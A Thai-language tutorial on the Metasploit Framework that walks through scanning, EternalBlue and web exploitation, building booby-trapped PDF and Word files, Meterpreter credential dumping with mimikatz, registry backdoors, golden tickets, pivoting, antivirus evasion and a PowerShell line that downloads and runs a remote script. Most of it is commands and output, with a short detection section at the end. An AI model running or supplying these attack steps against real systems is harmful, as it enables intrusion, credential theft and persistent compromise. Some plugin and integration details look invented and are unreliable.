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Metasploit ที่ทำให้ Penetration Testing เป็นศิลปะ

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dose

วันที่ Security Testing เป็นเรื่องลึกลับ

ก่อนรู้จัก Metasploit การทำ security testing เป็นเหมือนเดาสี:

วิธีการ Security Testing แบบเก่า:

# 1. Manual vulnerability scanning
nmap -sV -sC target.example.com
# แล้วก็งมๆ ว่าจะทำอะไรต่อ 😅

# 2. Random exploit attempts
# Google: "how to exploit apache 2.4.41"
# Copy-paste commands จาก tutorial
curl -X POST "http://target.com/vulnerable_endpoint" -d "payload"

# 3. No systematic approach
# Test แบบลุ้นๆ ไม่รู้ว่าจะเจออะไร
# ไม่มี methodology ชัดเจน

# 4. Limited exploit knowledge
# รู้จักแค่ SQL injection กับ XSS
# ไม่รู้จัก advanced attack vectors

ปัญหาที่เจอบ่อย:

  • No Standardized Methodology: ไม่มีขั้นตอนที่ชัดเจน
  • Limited Exploit Database: หาช่องโหว่ได้แต่ไม่รู้จะ exploit ยังไง
  • Manual Process: ใช้เวลานานและไม่มีประสิทธิภาพ
  • No Payload Generation: ไม่รู้จักสร้าง custom payloads
  • Poor Documentation: ไม่มีระบบบันทึกผลการทดสอบ
  • Inconsistent Results: ผลการทดสอบไม่น่าเชื่อถือ

ตัวอย่างความงงงวย:

# สถานการณ์จริงที่เกิดขึ้น 😅

# 1. เจอช่องโหว่ แต่ไม่รู้จะ exploit ยังไง
nmap -sV 192.168.1.100
# PORT    STATE SERVICE VERSION
# 21/tcp  open  ftp     ProFTPD 1.3.5
# 22/tcp  open  ssh     OpenSSH 7.4
# 80/tcp  open  http    Apache httpd 2.4.41

# Google: "ProFTPD 1.3.5 exploit" 
# เจอเยอะ แต่ไม่รู้อันไหนใช้ได้ 😕

# 2. Payload ไม่ work
# Copy-paste exploit code จาก internet
python exploit.py 192.168.1.100
# Error: Connection refused
# Error: Payload failed
# ปรับแต่งไม่เป็น งมต่อ... 😞

# 3. ไม่มีแผนชัดเจน
# เริ่มจาก port scan
# แล้วก็ไปเหมือนใครว่าง
# ไม่รู้ว่าควรทดสอบอะไรต่อไป

ผลลัพธ์: Security testing ที่ไม่มีประสิทธิภาพและไม่ครอบคลุม! 😰

จนวันหนึ่งพบ Metasploit Framework แล้วชีวิตเปลี่ยนไป! 🎯

Metasploit Framework Fundamentals

1. Metasploit Architecture

Framework Components:

┌─────────────────────────────────────────┐
│            Metasploit Framework         │
│                                         │
│  ┌─────────────┐    ┌─────────────┐    │
│  │   Exploits  │    │  Payloads   │    │
│  │   (2000+)   │    │  (500+)     │    │
│  └─────────────┘    └─────────────┘    │
│                                         │
│  ┌─────────────┐    ┌─────────────┐    │
│  │ Auxiliaries │    │  Encoders   │    │
│  │   (1000+)   │    │   (50+)     │    │
│  └─────────────┘    └─────────────┘    │
│                                         │
│  ┌─────────────┐    ┌─────────────┐    │
│  │    NOPs     │    │    Post     │    │
│  │    (10+)    │    │  (200+)     │    │
│  └─────────────┘    └─────────────┘    │
└─────────────────────────────────────────┘

Core Concepts:

  • Exploits: โค้ดสำหรับใช้ประโยชน์จากช่องโหว่
  • Payloads: โค้ดที่รันหลังจาก exploit สำเร็จ
  • Auxiliaries: เครื่องมือช่วยเหลือ (scanners, fuzzers)
  • Encoders: เข้ารหัส payload เพื่อหลบ detection
  • NOPs: No Operation instructions สำหรับ buffer alignment
  • Post-exploitation: เครื่องมือหลัง compromise ระบบแล้ว

2. Metasploit Installation

# Kali Linux (มาพร้อม)
sudo apt update && sudo apt upgrade
msfconsole

# Ubuntu/Debian
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# Docker
docker pull metasploitframework/metasploit-framework
docker run --rm -it -v ~/.msf4:/home/msf/.msf4 -p 4444:4444 metasploitframework/metasploit-framework

3. Database Setup และ Configuration

# Initialize PostgreSQL database
sudo systemctl start postgresql
sudo -u postgres createuser msf -P -S -R -D
sudo -u postgres createdb -O msf msf

# Configure database in Metasploit
msfconsole
msf6 > db_connect -y /usr/share/metasploit-framework/config/database.yml

# Check database status
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

# Rebuild cache
msf6 > db_rebuild_cache

# Workspace management
msf6 > workspace
[*] Available workspaces:
[*]   default

msf6 > workspace -a pentest_project_1
[*] Added workspace: pentest_project_1
[*] Workspace: pentest_project_1

msf6 > workspace pentest_project_1
[*] Workspace: pentest_project_1

Information Gathering และ Reconnaissance

1. Network Discovery

# Nmap integration
msf6 > db_nmap -sS -A 192.168.1.0/24
[*] Nmap: Starting Nmap 7.94 ( https://nmap.org )
[*] Nmap: Nmap scan report for 192.168.1.100
[*] Nmap: Host is up (0.001s latency).
[*] Nmap: PORT     STATE SERVICE VERSION
[*] Nmap: 21/tcp   open  ftp     ProFTPD 1.3.5
[*] Nmap: 22/tcp   open  ssh     OpenSSH 7.4p1
[*] Nmap: 80/tcp   open  http    Apache httpd 2.4.41
[*] Nmap: 139/tcp  open  netbios-ssn Samba smbd 4.6.2
[*] Nmap: 445/tcp  open  netbios-ssn Samba smbd 4.6.2

# View discovered hosts
msf6 > hosts
Hosts
=====
address       mac                name  os_name   os_flavor  os_sp  purpose  info  comments
-------       ---                ----  -------   ---------  -----  -------  ----  --------
192.168.1.100 00:0c:29:xx:xx:xx        Linux     Ubuntu     16.04  server
192.168.1.101 00:0c:29:yy:yy:yy        Windows   10                desktop

# View discovered services
msf6 > services
Services
========
host          port  proto  name         state  info
----          ----  -----  ----         -----  ----
192.168.1.100 21    tcp    ftp          open   ProFTPD 1.3.5
192.168.1.100 22    tcp    ssh          open   OpenSSH 7.4p1
192.168.1.100 80    tcp    http         open   Apache httpd 2.4.41
192.168.1.100 139   tcp    netbios-ssn  open   Samba smbd 4.6.2
192.168.1.100 445   tcp    netbios-ssn  open   Samba smbd 4.6.2

2. Service Enumeration

# SMB enumeration
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/smb/smb_version) > run

[*] 192.168.1.100:445     - SMB Detected (versions:1, 2) (preferred dialect:SMB 2.1) 
[*] 192.168.1.100:445     - Host is running SMB 1.0 (vulnerable to EternalBlue!)

# HTTP enumeration
msf6 > use auxiliary/scanner/http/http_version
msf6 auxiliary(scanner/http/http_version) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/http/http_version) > run

[+] 192.168.1.100:80      Apache/2.4.41 (Ubuntu)

# Directory enumeration
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(scanner/http/dir_scanner) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/http/dir_scanner) > set DICTIONARY /usr/share/metasploit-framework/data/wordlists/directory.txt
msf6 auxiliary(scanner/http/dir_scanner) > run

[+] 192.168.1.100:80 - Found http://192.168.1.100:80/admin/
[+] 192.168.1.100:80 - Found http://192.168.1.100:80/backup/
[+] 192.168.1.100:80 - Found http://192.168.1.100:80/uploads/

# FTP enumeration
msf6 > use auxiliary/scanner/ftp/ftp_version
msf6 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/ftp/ftp_version) > run

[+] 192.168.1.100:21      - FTP Banner: '220 ProFTPD 1.3.5 Server ready.\x0d\x0a'

3. Vulnerability Assessment

# SMB vulnerability scan
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 192.168.1.100:445     - Host is likely VULNERABLE to MS17-010! (EternalBlue)
[*] 192.168.1.100:445     - Scanned 1 of 1 hosts (100% complete)

# SSH vulnerability scan
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/ssh/ssh_version) > run

[+] 192.168.1.100:22      - SSH server version: SSH-2.0-OpenSSH_7.4p1 Ubuntu-10ubuntu1.4

# Web application vulnerability scan
msf6 > use auxiliary/scanner/http/http_put
msf6 auxiliary(scanner/http/http_put) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/http/http_put) > set PATH /uploads/
msf6 auxiliary(scanner/http/http_put) > run

[+] 192.168.1.100:80 - Upload succeeded on /uploads/ (201)
[+] 192.168.1.100:80 - File stored at http://192.168.1.100:80/uploads/msf_http_put_test.txt

Exploitation Techniques

1. EternalBlue (MS17-010) Exploitation

# Search for EternalBlue exploit
msf6 > search ms17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Code Execution
   1  auxiliary/scanner/smb/smb_ms17_010        2017-03-14       normal   No     MS17-010 SMB RCE Detection
   2  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Code Execution
   3  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Code Execution

# Use EternalBlue exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):
   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s)
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        SMB Domain
   SMBPass                         no        SMB Password
   SMBUser                         no        SMB Username
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target

# Configure target
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.101
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444

# Check if target is vulnerable
msf6 exploit(windows/smb/ms17_010_eternalblue) > check
[+] 192.168.1.101:445 - The target is vulnerable.

# Execute exploit
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.50:4444 
[*] 192.168.1.101:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.1.101:445 - Host is likely VULNERABLE to MS17-010!
[*] 192.168.1.101:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.1.101:445 - The target is vulnerable.
[*] 192.168.1.101:445 - Connecting to target for exploitation.
[+] 192.168.1.101:445 - Connection established for exploitation.
[+] 192.168.1.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.101:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.1.101:445 - Sending stage (200774 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.101:49158)

meterpreter >

2. Web Application Exploitation

# PHP file upload vulnerability
msf6 > use exploit/multi/http/php_cgi_arg_injection
msf6 exploit(multi/http/php_cgi_arg_injection) > set RHOSTS 192.168.1.100
msf6 exploit(multi/http/php_cgi_arg_injection) > set TARGETURI /vulnerable_app/
msf6 exploit(multi/http/php_cgi_arg_injection) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/http/php_cgi_arg_injection) > set LHOST 192.168.1.50
msf6 exploit(multi/http/php_cgi_arg_injection) > exploit

[*] Started reverse TCP handler on 192.168.1.50:4444 
[*] 192.168.1.100:80 - Sending stage (39927 bytes) to 192.168.1.100
[*] Meterpreter session 2 opened (192.168.1.50:4444 -> 192.168.1.100:34567)

# Unrestricted file upload
msf6 > use exploit/unix/webapp/php_fileupload_exec
msf6 exploit(unix/webapp/php_fileupload_exec) > set RHOSTS 192.168.1.100
msf6 exploit(unix/webapp/php_fileupload_exec) > set TARGETURI /uploads/
msf6 exploit(unix/webapp/php_fileupload_exec) > set payload php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/php_fileupload_exec) > set LHOST 192.168.1.50
msf6 exploit(unix/webapp/php_fileupload_exec) > exploit

# SQL injection exploitation
msf6 > use auxiliary/admin/mssql/mssql_exec
msf6 auxiliary(admin/mssql/mssql_exec) > set RHOSTS 192.168.1.102
msf6 auxiliary(admin/mssql/mssql_exec) > set USERNAME sa
msf6 auxiliary(admin/mssql/mssql_exec) > set PASSWORD password123
msf6 auxiliary(admin/mssql/mssql_exec) > set CMD "whoami"
msf6 auxiliary(admin/mssql/mssql_exec) > run

[*] 192.168.1.102:1433   - SQL Query: EXEC master..xp_cmdshell 'whoami'
[*] 192.168.1.102:1433   - Row Count: 1 (Status: 16 Command: 193)
[*] 192.168.1.102:1433   -     |  nt authority\system

3. Social Engineering Attacks

# Generate malicious PDF
msf6 > use exploit/windows/fileformat/adobe_pdf_embedded_exe
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > set LHOST 192.168.1.50
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > set FILENAME "Important_Document.pdf"
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > exploit

[*] Creating 'Important_Document.pdf' file...
[+] Important_Document.pdf stored at /home/kali/.msf4/local/Important_Document.pdf

# Generate malicious Office document
msf6 > use exploit/windows/fileformat/office_word_hta
msf6 exploit(windows/fileformat/office_word_hta) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/office_word_hta) > set LHOST 192.168.1.50
msf6 exploit(windows/fileformat/office_word_hta) > set FILENAME "Annual_Report.docx"
msf6 exploit(windows/fileformat/office_word_hta) > exploit

[*] Creating 'Annual_Report.docx' file...
[+] Annual_Report.docx stored at /home/kali/.msf4/local/Annual_Report.docx

# Setup listener for payload
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.1.50:4444

Post-Exploitation Activities

1. Meterpreter Basics

# Meterpreter session management
meterpreter > sysinfo
Computer        : WIN10-TARGET
OS              : Windows 10 (10.0 Build 19041).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

# File system operations
meterpreter > pwd
C:\Users\victim\Desktop

meterpreter > ls
Listing: C:\Users\victim\Desktop
================================
Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2024-01-15 14:30:25 +0700  desktop.ini
100777/rwxrwxrwx  1024  fil   2024-01-15 10:15:30 +0700  passwords.txt
100666/rw-rw-rw-  2048  fil   2024-01-15 09:45:12 +0700  secrets.docx

meterpreter > download passwords.txt /tmp/
[*] Downloading: passwords.txt -> /tmp/passwords.txt
[*] Downloaded 1.00 KiB of 1.00 KiB (100.0%): passwords.txt -> /tmp/passwords.txt
[*] Completed  : passwords.txt -> /tmp/passwords.txt

meterpreter > upload /tmp/backdoor.exe C:\\Windows\\Temp\\
[*] Uploading  : /tmp/backdoor.exe -> C:\Windows\Temp\backdoor.exe
[*] Uploaded 73.80 KiB of 73.80 KiB (100.0%): /tmp/backdoor.exe -> C:\Windows\Temp\backdoor.exe
[*] Completed  : /tmp/backdoor.exe -> C:\Windows\Temp\backdoor.exe

# Process management
meterpreter > ps
Process List
============
 PID   PPID  Name                  Arch  Session  User                          Path
 ---   ----  ----                  ----  -------  ----                          ----
 0     0     [System Process]                                                   
 4     0     System                x64   0                                      
 88    4     Registry              x64   0                                      
 428   4     smss.exe              x64   0                                      
 536   528   csrss.exe             x64   0                                      
 1234  1180  explorer.exe          x64   1        WIN10-TARGET\victim           C:\Windows\explorer.exe
 2456  1234  notepad.exe           x64   1        WIN10-TARGET\victim           C:\Windows\System32\notepad.exe

meterpreter > migrate 1234
[*] Migrating from 3456 to 1234...
[*] Migration completed successfully.

2. Privilege Escalation

# Check current privileges
meterpreter > getuid
Server username: WIN10-TARGET\victim

# Get system information
meterpreter > run post/windows/gather/win_privs
[*] Current privileges:
[*] SeShutdownPrivilege
[*] SeChangeNotifyPrivilege
[*] SeUndockPrivilege
[*] SeIncreaseWorkingSetPrivilege
[*] SeTimeZonePrivilege

# Automatic privilege escalation
meterpreter > run post/multi/recon/local_exploit_suggester
[*] 192.168.1.101 - Collecting local exploits for x64/windows...
[*] 192.168.1.101 - 31 exploit checks are being tried...
[+] 192.168.1.101 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 192.168.1.101 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target appears to be vulnerable.

# Use UAC bypass
meterpreter > background
[*] Backgrounding session 1...

msf6 > use exploit/windows/local/bypassuac_eventvwr
msf6 exploit(windows/local/bypassuac_eventvwr) > set SESSION 1
msf6 exploit(windows/local/bypassuac_eventvwr) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_eventvwr) > set LHOST 192.168.1.50
msf6 exploit(windows/local/bypassuac_eventvwr) > set LPORT 5555
msf6 exploit(windows/local/bypassuac_eventvwr) > exploit

[*] Started reverse TCP handler on 192.168.1.50:5555 
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Sending stage (200774 bytes) to 192.168.1.101
[*] Meterpreter session 2 opened (192.168.1.50:5555 -> 192.168.1.101:49159)

meterpreter > getuid
Server username: WIN10-TARGET\victim

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

3. Credential Harvesting

# Dump password hashes
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
victim:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

# Load Kiwi extension (Mimikatz)
meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

# Dump credentials from memory
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username  Domain   LM                                NTLM
--------  ------   --                                ----
victim    WIN10-TARGET  aad3b435b51404eeaad3b435b51404ee  8846f7eaee8fb117ad06bdd830b7586c

wdigest credentials
===================
Username        Domain          Password
--------        ------          --------
(null)          (null)          (null)
DESKTOP-ABC123$ WORKGROUP       (null)
victim          WIN10-TARGET    P@ssw0rd123!

# Search for credentials in files
meterpreter > run post/windows/gather/credentials/credential_collector
[*] Running module against WIN10-TARGET
[*] Extracting credentials from system...
[+] Found credentials in C:\Users\victim\Documents\passwords.txt
[+] Found credentials in registry...

4. Persistence Mechanisms

# Create persistent backdoor
meterpreter > run persistence -S -U -X -i 10 -p 6666 -r 192.168.1.50
[*] Running Persistence Script
[*] Resource file for cleanup created at /home/kali/.msf4/logs/persistence/WIN10-TARGET_20240115.3456/WIN10-TARGET_20240115.3456.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=6666
[*] Persistent agent script is 612841 bytes long
[+] Persistent Script written to C:\Windows\TEMP\CyberSafe.vbs
[*] Starting connection handler at port 6666 for windows/meterpreter/reverse_tcp
[*] Persistent VBS script service installed on target

# Golden ticket attack (with domain admin privileges)
meterpreter > load kiwi
meterpreter > dcsync_ntlm krbtgt
[DC] 'domain.local' will be the domain
[DC] 'DC01.domain.local' will be the DC server
[DC] 'krbtgt' will be the user account
[*] Retrieving user information for krbtgt
Object RDN           : krbtgt
SAM Account name     : krbtgt
Account SID          : S-1-5-21-123456789-123456789-123456789-502
Hash NTLM: a9b30e5b0dc865eadcea9411e4ade72d

meterpreter > golden_ticket_create -u Administrator -d domain.local -k a9b30e5b0dc865eadcea9411e4ade72d -s S-1-5-21-123456789-123456789-123456789 -t /tmp/golden.kirbi
[+] Golden ticket created successfully

# Registry persistence
meterpreter > reg setval -k "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" -v "Windows Update" -t REG_SZ -d "C:\\Windows\\Temp\\backdoor.exe"
[*] Successful set Windows Update.

Advanced Exploitation Techniques

1. Pivoting และ Network Traversal

# Add route for internal network
meterpreter > run autoroute -s 10.0.0.0/24
[*] Adding a route to 10.0.0.0/255.255.255.0...
[+] Added route to 10.0.0.0/255.255.255.0 via 192.168.1.101
[*] Use the -p option to list all active routes

# Setup SOCKS proxy
meterpreter > background
[*] Backgrounding session 1...

msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 4a
msf6 auxiliary(server/socks_proxy) > run -j

[*] Auxiliary module running as background job 1.
[*] Starting the SOCKS proxy server

# Pivot through compromised host
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.0.0.5
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

# Port forwarding
meterpreter > portfwd add -l 3389 -p 3389 -r 10.0.0.5
[*] Local TCP relay created: :3389 <-> 10.0.0.5:3389

# Use proxychains for external tools
echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT 10.0.0.0/24

2. Evasion Techniques

# Encode payload to evade AV
msf6 > use payload/windows/meterpreter/reverse_tcp
msf6 payload(windows/meterpreter/reverse_tcp) > set LHOST 192.168.1.50
msf6 payload(windows/meterpreter/reverse_tcp) > set LPORT 4444
msf6 payload(windows/meterpreter/reverse_tcp) > generate -f exe -e x86/shikata_ga_nai -i 10 -o /tmp/payload_encoded.exe

[*] Writing 73802 bytes to /tmp/payload_encoded.exe...
[*] Final size of exe file: 73802 bytes

# Custom payload with template
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -x /tmp/legitimate_app.exe -k -f exe -o /tmp/trojan.exe

# Staged vs stageless payload
# Staged (smaller, but requires callback)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o staged.exe

# Stageless (larger, but self-contained)
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o stageless.exe

# PowerShell payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh-cmd

# Shellcode injection
meterpreter > migrate 1234
[*] Migrating from 5678 to 1234...
[*] Migration completed successfully.

# In-memory execution
meterpreter > execute -H -i -f powershell.exe -a "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.50/payload.ps1')"

3. Custom Module Development

# custom_scanner.rb
require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'        => 'Custom Service Scanner',
      'Description' => 'Scans for custom service vulnerabilities',
      'Author'      => 'Your Name',
      'License'     => MSF_LICENSE
    )

    register_options([
      Opt::RPORT(8080),
      OptString.new('TARGETURI', [true, 'Path to scan', '/'])
    ])
  end

  def run_host(ip)
    begin
      connect
      
      request = "GET #{datastore['TARGETURI']} HTTP/1.1\r\n"
      request << "Host: #{ip}\r\n"
      request << "User-Agent: Mozilla/5.0\r\n"
      request << "\r\n"
      
      sock.put(request)
      response = sock.recv(1024)
      
      if response =~ /CustomServer\/1\.0/
        print_good("#{ip}:#{rport} - Custom server detected")
        # Additional vulnerability checks here
      end
      
    rescue ::Exception => e
      print_error("#{ip}:#{rport} - Error: #{e}")
    ensure
      disconnect
    end
  end
end

# Load custom module
msf6 > loadpath /path/to/custom/modules
msf6 > reload_all
msf6 > use auxiliary/scanner/http/custom_scanner
msf6 auxiliary(scanner/http/custom_scanner) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(scanner/http/custom_scanner) > run

Reporting และ Documentation

1. Automated Report Generation

# Generate workspace report
msf6 > workspace pentest_project_1
msf6 > db_export -f xml /tmp/pentest_results.xml

# Export specific data
msf6 > hosts -o /tmp/discovered_hosts.csv
msf6 > services -o /tmp/discovered_services.csv
msf6 > vulns -o /tmp/vulnerabilities.csv
msf6 > creds -o /tmp/credentials.csv
msf6 > loot -o /tmp/loot_files.csv

# Generate HTML report
msf6 > load auto_add_route
msf6 > load sounds
msf6 > load report_generation
msf6 > generate_report html /tmp/pentest_report.html

2. Custom Reporting Scripts

#!/usr/bin/env ruby
# generate_report.rb

require 'msf/core'
require 'msf/core/db'

framework = Msf::Simple::Framework.create

# Connect to database
framework.db.connect

# Get workspace
workspace = framework.db.workspace

puts "=== PENETRATION TEST REPORT ==="
puts "Workspace: #{workspace.name}"
puts "Generated: #{Time.now}"
puts

# Hosts summary
hosts = framework.db.hosts
puts "=== DISCOVERED HOSTS (#{hosts.count}) ==="
hosts.each do |host|
  puts "#{host.address} - #{host.os_name} #{host.os_flavor}"
end
puts

# Services summary
services = framework.db.services
puts "=== DISCOVERED SERVICES (#{services.count}) ==="
services.group_by(&:port).sort.each do |port, svcs|
  puts "Port #{port}: #{svcs.map(&:name).uniq.join(', ')}"
end
puts

# Vulnerabilities
vulns = framework.db.vulns
puts "=== VULNERABILITIES (#{vulns.count}) ==="
vulns.each do |vuln|
  puts "#{vuln.host.address}:#{vuln.service.port} - #{vuln.name}"
end
puts

# Credentials
creds = framework.db.creds
puts "=== CREDENTIALS (#{creds.count}) ==="
creds.each do |cred|
  puts "#{cred.core.public} : #{cred.core.private}"
end

3. Integration with External Tools

# Export to Metasploit Pro
msf6 > pro_import /tmp/nessus_results.nessus

# Integration with Nessus
msf6 > load nessus
msf6 > nessus_connect username:password@nessus.server.com:8834
msf6 > nessus_scan_new -t "Basic Network Scan" -n "Pentest Scan" 192.168.1.0/24
msf6 > nessus_report_vulns <scan_id>

# Integration with OpenVAS
msf6 > load openvas
msf6 > openvas_connect username password localhost 9392
msf6 > openvas_target_create "Pentest Target" "192.168.1.0/24" "Full and fast"
msf6 > openvas_task_start <task_id>

# Integration with Cobalt Strike
# Generate Cobalt Strike payload
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.1.50 LPORT=80 -f exe -o cs_beacon.exe

# Setup handler for Cobalt Strike beacons
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 80
msf6 exploit(multi/handler) > exploit -j

Defensive Considerations

1. Detection และ Mitigation

# Indicators of Compromise (IOCs)
echo "=== METASPLOIT IOCs ===" > /tmp/iocs.txt
echo "Network connections to known Metasploit default ports (4444, 4445)" >> /tmp/iocs.txt
echo "Suspicious PowerShell execution with encoded commands" >> /tmp/iocs.txt
echo "Meterpreter process injection into legitimate processes" >> /tmp/iocs.txt
echo "Unusual network traffic patterns (reverse shells)" >> /tmp/iocs.txt
echo "Registry modifications in Run keys for persistence" >> /tmp/iocs.txt

# Signatures for detection
# Snort rule for Meterpreter traffic
alert tcp any any -> any any (msg:"Meterpreter Traffic Detected"; content:"RECV"; flow:established; sid:1000001;)

# YARA rule for Meterpreter payloads
rule Meterpreter_Payload {
    meta:
        description = "Detects Meterpreter payload signatures"
        author = "Security Team"
    strings:
        $metsrv = "metsrv.dll" nocase
        $revtcp = "reverse_tcp" nocase
        $stage = "windows/meterpreter" nocase
    condition:
        any of them
}

# PowerShell logging to detect suspicious activity
# Enable PowerShell script block logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

# Monitor for suspicious PowerShell commands
Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-PowerShell/Operational"; ID=4104} | Where-Object {$_.Message -match "DownloadString|IEX|Invoke-Expression"}

2. Hardening Recommendations

# Network security
echo "=== NETWORK SECURITY ===" > /tmp/hardening.txt
echo "1. Implement network segmentation" >> /tmp/hardening.txt
echo "2. Use intrusion detection systems (IDS/IPS)" >> /tmp/hardening.txt
echo "3. Deploy network access control (NAC)" >> /tmp/hardening.txt
echo "4. Monitor network traffic for anomalies" >> /tmp/hardening.txt

# Endpoint security
echo "=== ENDPOINT SECURITY ===" >> /tmp/hardening.txt
echo "1. Keep systems updated with security patches" >> /tmp/hardening.txt
echo "2. Deploy endpoint detection and response (EDR)" >> /tmp/hardening.txt
echo "3. Implement application whitelisting" >> /tmp/hardening.txt
echo "4. Use behavioral analysis for malware detection" >> /tmp/hardening.txt

# Access controls
echo "=== ACCESS CONTROLS ===" >> /tmp/hardening.txt
echo "1. Implement principle of least privilege" >> /tmp/hardening.txt
echo "2. Use multi-factor authentication (MFA)" >> /tmp/hardening.txt
echo "3. Regular access reviews and deprovisioning" >> /tmp/hardening.txt
echo "4. Monitor privileged account usage" >> /tmp/hardening.txt

# Security monitoring
